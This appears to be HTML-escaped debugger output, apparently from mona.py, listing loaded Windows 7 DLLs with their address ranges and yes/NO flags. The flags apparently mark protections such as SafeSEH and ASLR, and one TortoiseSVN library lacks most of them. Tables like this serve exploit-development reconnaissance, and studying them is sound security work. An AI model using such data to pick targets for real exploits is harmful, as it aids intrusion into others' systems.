0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6C0B0000 | 0x6C328000 | 0x00278000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - gameux.dll : C:\Windows\System32\gameux.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x759F0000 | 0x75ABC000 | 0x000CC000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - MSCTF.dll : C:\Windows\system32\MSCTF.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x65D40000 | 0x65EEE000 | 0x001AE000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - pnidui.dll : C:\Windows\System32\pnidui.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73270000 | 0x73280000 | 0x00010000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - nlaapi.dll : C:\Windows\System32\nlaapi.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x74F40000 | 0x74F4E000 | 0x0000E000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - RpcRtRemote.dll : C:\Windows\system32\RpcRtRemote.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x753C0000 | 0x7540E000 | 0x0004E000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - GDI32.dll : C:\Windows\system32\GDI32.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x74750000 | 0x7475E000 | 0x0000E000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - DEVRTL.dll : C:\Windows\system32\DEVRTL.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x721B0000 | 0x721D5000 | 0x00025000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - cscobj.dll : C:\Windows\System32\cscobj.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x71F40000 | 0x71F8D000 | 0x0004D000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 7.00.7600.16385 - srchadmin.dll : C:\Windows\System32\srchadmin.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6D7E0000 | 0x6D82F000 | 0x0004F000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - hgcpl.dll : C:\Windows\System32\hgcpl.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6AF20000 | 0x6B160000 | 0x00240000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 5.0.7600.16385 - msi.dll : C:\Windows\system32\msi.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x75060000 | 0x7517C000 | 0x0011C000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - CRYPT32.dll : C:\Windows\system32\CRYPT32.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6E6E0000 | 0x6E84F000 | 0x0016F000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - EXPLORERFRAME.dll : C:\Windows\system32\EXPLORERFRAME.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x71CD0000 | 0x71D34000 | 0x00064000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - prnfldr.dll : C:\Windows\system32\prnfldr.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x68BD0000 | 0x6964F000 | 0x00A7F000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 8.00.7600.16385 - ieframe.dll : C:\Windows\System32\ieframe.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x71A30000 | 0x71A3C000 | 0x0000C000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 7.00.7600.16385 - mssprxy.dll : C:\Windows\system32\mssprxy.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x74340000 | 0x7434D000 | 0x0000D000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - WTSAPI32.dll : C:\Windows\system32\WTSAPI32.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6E240000 | 0x6E2CE000 | 0x0008E000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 9.00.30729.4974 - MSVCP90.dll : C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4974_none_50940634bcb759cb\MSVCP90.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x72480000 | 0x724A2000 | 0x00022000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - EhStorAPI.dll : C:\Windows\system32\EhStorAPI.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6C380000 | 0x6C3CE000 | 0x0004E000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - actxprxy.dll : C:\Windows\system32\actxprxy.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x723A0000 | 0x723F8000 | 0x00058000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp; | 6.1.7600.16385 - tiptsf.dll : C:\Program Files\Common Files\microsoft shared\ink\tiptsf.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x74570000 | 0x74587000 | 0x00017000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - USERENV.dll : C:\Windows\system32\USERENV.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x749D0000 | 0x749E6000 | 0x00016000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - CRYPTSP.dll : C:\Windows\system32\CRYPTSP.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6FA40000 | 0x6FA56000 | 0x00016000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - Wlanapi.dll : C:\Windows\system32\Wlanapi.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6BF40000 | 0x6BF7A000 | 0x0003A000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - FXSAPI.dll : C:\Windows\system32\FXSAPI.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp;&amp;nbsp; | 0x6EE60000 | 0x6EE8F000 | 0x0002F000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; NO&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp; | 1.3.9 - libaprutil_tsvn.dll : C:\Program Files\TortoiseSVN\bin\libaprutil_tsvn.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x71E00000 | 0x71E08000 | 0x00008000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - npmproxy.dll : C:\Windows\System32\npmproxy.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73990000 | 0x739BF000 | 0x0002F000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 1.3.1000.0 - XmlLite.dll : C:\Windows\System32\XmlLite.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x74E50000 | 0x74E9B000 | 0x0004B000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - apphelp.dll : C:\Windows\system32\apphelp.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6C3E0000 | 0x6C44A000 | 0x0006A000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - cscui.dll : C:\Windows\System32\cscui.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73760000 | 0x73769000 | 0x00009000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - netutils.dll : C:\Windows\system32\netutils.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x71EC0000 | 0x71EE9000 | 0x00029000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - syncui.dll : C:\Windows\system32\syncui.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x66EA0000 | 0x66F13000 | 0x00073000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp; | 1.0.2498.0 - shellext.dll : c:\PROGRA~1\MIF707~1\shellext.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73A70000 | 0x73A9F000 | 0x0002F000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - DUser.dll : C:\Windows\system32\DUser.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x75250000 | 0x75256000 | 0x00006000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - NSI.dll : C:\Windows\system32\NSI.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6BF80000 | 0x6BFAB000 | 0x0002B000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - provsvc.dll : C:\Windows\System32\provsvc.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x76BB0000 | 0x76BF5000 | 0x00045000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - WLDAP32.dll : C:\Windows\system32\WLDAP32.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6C450000 | 0x6CCB4000 | 0x00864000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp; | 14.0.4761.1000 - GrooveIntlResource.dll : C:\PROGRA~1\MICROS~3\Office14\1033\GrooveIntlResource.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x751E0000 | 0x7522A000 | 0x0004A000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - KERNELBASE.dll : C:\Windows\system32\KERNELBASE.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x74EB0000 | 0x74F0F000 | 0x0005F000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - SXS.DLL : C:\Windows\system32\SXS.DLL&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6CCC0000 | 0x6D0CB000 | 0x0040B000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; NO&amp;nbsp;&amp;nbsp; | 14.0.4761.1000 - GROOVEEX.DLL : C:\PROGRA~1\MICROS~3\Office14\GROOVEEX.DLL&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x71FF0000 | 0x72002000 | 0x00012000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - wercplsupport.dll : C:\Windows\System32\wercplsupport.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x70FA0000 | 0x70FA6000 | 0x00006000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - wlanutil.dll : C:\Windows\system32\wlanutil.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x72D90000 | 0x72D9D000 | 0x0000D000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - dhcpcsvc6.DLL : C:\Windows\system32\dhcpcsvc6.DLL&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x6BAD0000 | 0x6BB59000 | 0x00089000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - PortableDeviceApi.dll : C:\Windows\system32\PortableDeviceApi.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x72DD0000 | 0x72F27000 | 0x00157000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.30.7600.16385 - msxml6.dll : C:\Windows\System32\msxml6.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x74410000 | 0x74419000 | 0x00009000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - VERSION.dll : C:\Windows\system32\VERSION.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x76F60000 | 0x77000000 | 0x000A0000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - ADVAPI32.dll : C:\Windows\system32\ADVAPI32.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x75B80000 | 0x75D1D000 | 0x0019D000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - SETUPAPI.dll : C:\Windows\system32\SETUPAPI.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x759B0000 | 0x759E5000 | 0x00035000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - WS2_32.dll : C:\Windows\system32\WS2_32.dll&lt;br /&gt;
0BADF00D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; | 0x73B60000 | 0x73CF0000 | 0x00190000 |&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp; yes&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; yes&amp;nbsp; | 6.1.7600.16385 - gdiplus.dll : C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7600.16385_none_72fc7cbf861225ca\gdiplus.dll&lt;br /&gt;
